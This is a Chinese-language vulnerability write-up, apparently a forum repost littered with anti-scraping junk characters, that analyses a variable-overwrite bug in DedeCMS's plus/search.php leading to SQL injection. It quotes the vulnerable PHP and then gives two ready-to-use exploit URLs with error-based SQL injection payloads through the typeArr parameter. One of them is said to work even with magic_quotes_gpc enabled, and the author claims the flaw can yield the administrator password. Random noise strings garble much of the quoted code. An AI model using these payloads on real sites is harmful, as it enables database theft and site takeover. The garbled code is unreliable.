微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
+ ]! u J6 {4 C作者: c4rp3nt3r@0x50sec.org; d5 \& N0 L, [% R
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
7 N8 w6 H$ o% Z: r* ]% f/ W
- e% ~ r6 G" O' T5 u3 u+ M黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
9 N( _2 A+ P% ?0 j 9 C4 {" ]+ M( H7 \& A: q
============
/ O7 b- E) s' P1 n8 T 4 {- b8 E M; A2 H, k
7 `8 F* F% w, y2 b! ~ aDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
9 W% n2 ~1 B. I/ {8 M5 u - m1 l" Y5 Z9 i5 r7 w; m
require_once(dirname(__FILE__).”/../include/common.inc.php”);$ ]5 E! H3 p6 p2 q
require_once(DEDEINC.”/arc.searchview.class.php”);
# M) U8 C' y& l1 u1 W6 d) h
* b1 ^3 K- M. {4 k$ A3 o% Z9 U, i1 \$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10; S& B; a' o5 o* ]3 t: `! O: R, q& m9 B
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;6 v2 B! p1 a" P) B! C c
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;2 ~" c% Y+ _/ I# U1 l" z4 K* Q, M8 M
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
" U. J0 C" @' f6 @. E) f M$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
2 Y6 c* f) f! h7 ~5 \) I" y 9 _+ B: \0 T7 n2 [
if(!isset($orderby)) $orderby=”;% O, y$ L" g; I
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);7 q+ Q# P/ G# J/ b1 I# @
/ V7 [, h6 t) Q2 E8 q
* a3 B& O' e5 m* E% u
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
. O3 l- ?. |# c1 X% h5 E! W4 Helse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
( L# D: @* K2 x+ }4 i; u 3 d) J% s! y1 k; f
if(!isset($keyword)){' r3 {" y* |. X8 l: J
if(!isset($q)) $q = ”;1 E G. }* t* M' t- ^! w4 ^( j
$keyword=$q;
5 E+ G8 w; Q/ A+ P2 `}
: [: p% @" K: Q& w9 Y/ y M1 K2 u 0 |8 q: S1 `$ C J3 q* B0 h
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
5 L- G7 H6 x$ ~- k+ G; J' {
9 g6 B. y& y! J4 u1 j//查找栏目信息* ?9 A# j" G& {' y) r
if(empty($typeid))) `& n# X& n* {
{
, V* U2 [) J2 s# S0 h $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;3 {+ L2 M, ?; B% V: ]9 y
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
2 k2 \' r+ N' t, m: ^ {
6 e3 H2 _0 @+ R) d( U8 M9 } $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
: S3 ]$ |( m9 d, q: [/ q fwrite($fp, “<”.”?php\r\n”);
' k$ Z D _( _ O/ r $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);3 y3 l+ G+ O0 d
$dsql->Execute();; Q: @+ }- E/ l9 A
while($row = $dsql->GetArray())
7 r& }* U1 m$ F {
, v. D! A: J! l5 B2 D fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);1 K6 R, W/ w9 w. a" h8 N
}- w8 G4 q7 c' R% m8 H. u- @. L
fwrite($fp, ‘?’.'>’);7 a* u" u% H2 }: B; N2 T5 ?
fclose($fp);, |+ n8 J+ L4 b h) W- A- o
}
7 `5 Z( _& s3 ]' f% F //引入栏目缓存并看关键字是否有相关栏目内容
. D: M1 ^0 u5 e8 k z5 k require_once($typenameCacheFile);
! p: a' e4 v* l I5 A//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
5 ^4 W I8 C' u; B' b//
* n% |1 g4 b0 B0 S; @ if(isset($typeArr) && is_array($typeArr))
, B" c7 N* ~( {8 M! i+ R, q {7 c& D5 R1 y7 _# M8 D
foreach($typeArr as $id=>$typename)& [- O! X4 i( ^1 }8 Z* s
{
* P: J; G& s- c$ `9 _3 o$ W: n + s" q7 R% n! @7 x; K
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过% t* y$ L }# J: _0 z3 o
if($keyword != $keywordn)
& S: H7 E6 l- U {* P# K ^9 Q3 X& I% E% k
$keyword = $keywordn;7 C: s% q& j5 M7 B' [( F( v/ J
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
# l7 f$ q2 v+ f( W# R break;- O, U* v- Z0 M0 i' J3 c8 ~3 A! U
}0 O$ F; Z, P) i2 G5 S/ N9 d$ `
}
7 N6 F" ?: y1 \: s4 ^) X0 M! O }& S# N3 y1 m2 n
}
f' Z2 G% S! c* s' x: _. f然后plus/search.php文件下面定义了一个 Search类的对象 .
7 u$ ^, G/ ^2 P8 S+ S6 z在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
+ @. s5 W9 \9 i* p& }+ e# I$this->TypeLink = new TypeLink($typeid);( Q. f) h$ g9 p2 a4 q: U( P. h( r
2 L7 u4 b9 R t$ K2 yTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
+ c# i* V4 f( \
( ]6 F: G( C7 a, p6 p) Z% oclass TypeLink6 p; C$ x3 c2 H, d# R% O
{
' D4 k$ E3 m5 o D' J8 R var $typeDir;
- Z, j% D8 F" o1 ? var $dsql;
, }* }- I: N4 J/ O0 A2 Z- p# O var $TypeID;
5 L6 `! k4 B- U" L5 T* O: E0 R var $baseDir;+ y1 b- U2 c$ s5 I
var $modDir;( S3 k1 p6 B2 `3 U, T, g
var $indexUrl;
' X0 m; @! Y: O, X x8 v var $indexName;# y9 N! J4 ?4 y) Y4 K8 B
var $TypeInfos;* M# ]# F5 M6 l' F
var $SplitSymbol;& H$ F, A, o6 _% x( S8 Z5 ?
var $valuePosition;
+ q$ f$ b( W5 W5 {2 H var $valuePositionName;
0 i0 z8 {$ V% t7 G) u* @ var $OptionArrayList;//构造函数///////
/ |+ q9 r+ g) |: a1 N5 B //php5构造函数
: n3 [9 b( t. N2 j9 k function __construct($typeid)
* I/ J+ O+ @* C7 S) z" |6 F {/ ~7 D( Z# t' i4 }( t
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];# Y" X/ [, \3 N0 O1 Z5 @3 {+ h. g
$this->indexName = $GLOBALS['cfg_indexname'];5 z3 [/ s% c8 ]6 u: J
$this->baseDir = $GLOBALS['cfg_basedir'];
. H) ~% I; ^0 w# \ $this->modDir = $GLOBALS['cfg_templets_dir'];. U% v5 u, M: r$ L5 w
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
. z& J0 n ^" {( ` $this->dsql = $GLOBALS['dsql'];
5 A- P# @8 Q; o# v $this->TypeID = $typeid;
; Q* e) ]0 W# x5 _! ~ $this->valuePosition = ”;- P' y- ^. e- d7 ]& x
$this->valuePositionName = ”;8 L5 o0 E0 R3 T) z0 P# r
$this->typeDir = ”;
- u' v% G. s3 |- ?4 B) k $this->OptionArrayList = ”;
: g# r# @) o# i- m; B/ d: g 5 A& W, X# w& X) O3 ?/ o
//载入类目信息
5 j, f: E/ h2 B9 O# ~2 D+ [5 m, Q 2 R4 n q& C% M# o4 B
<font color=”Red”>$query = “SELECT tp.*,ch.typename as/ J# u" x5 w) [( u8 `' J
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
+ s* l# z' R: Z' h; h) e`#@__channeltype` ch# n+ o; R+ O* G( R8 a+ B3 q, M
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿 B6 m; q, d; r4 S* s& U, T
' U" H* f- i2 E- R if($typeid > 0)
' X/ Q9 R1 Y, l: ? {
. ?' M Z. {: M1 r0 J $this->TypeInfos = $this->dsql->GetOne($query);- v" l. r& o1 m d8 y6 Z3 `9 u
利用代码一 需要 即使magic_quotes_gpc = Off
8 Q+ t1 D. R, g( N: [ * U; \. x4 r L2 a- ]$ q
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
' z B/ ~, \) |0 w
) T( Q0 @- L3 ^5 d+ ^' t7 D4 `这只是其中一个利用代码… Search 类的构造函数再往下
$ I! S2 A& z: J
2 S$ u0 F. ~- J$ Z& m$ M……省略
2 c4 x& l& {6 \ |7 Y$this->TypeID = $typeid;
* j/ y% p4 L3 A2 \! A……省略
: y& N4 D3 S, S1 k7 j0 H! i1 H1 Lif($this->TypeID==”0″){
- P6 Z4 h( g; Z. T1 A0 a, f $this->ChannelTypeid=1;
* N* f. W G, H% t" a0 U }else{- F. [$ i& y6 i& ?1 T
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
# Q% {# G$ ]+ L# h% R! Y//现在不鸡肋了吧亲…
$ ^0 Q3 Z) J2 C" t8 B $this->ChannelTypeid=$row['channeltype'];% G2 g5 A3 t& P
2 l% D# R. S( {* K2 U
}. V3 l! M) r; C4 Y; G9 l3 r( c3 `
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
& A1 S$ ^. C6 r d$ A/ m# {
4 a) t8 {6 I* x T2 Y- f8 |www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title1 G, F) o6 ?8 T, |2 w
: }7 O# K9 [+ j; Q3 ?! S
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站) _7 _% l1 I, q4 N$ Z
|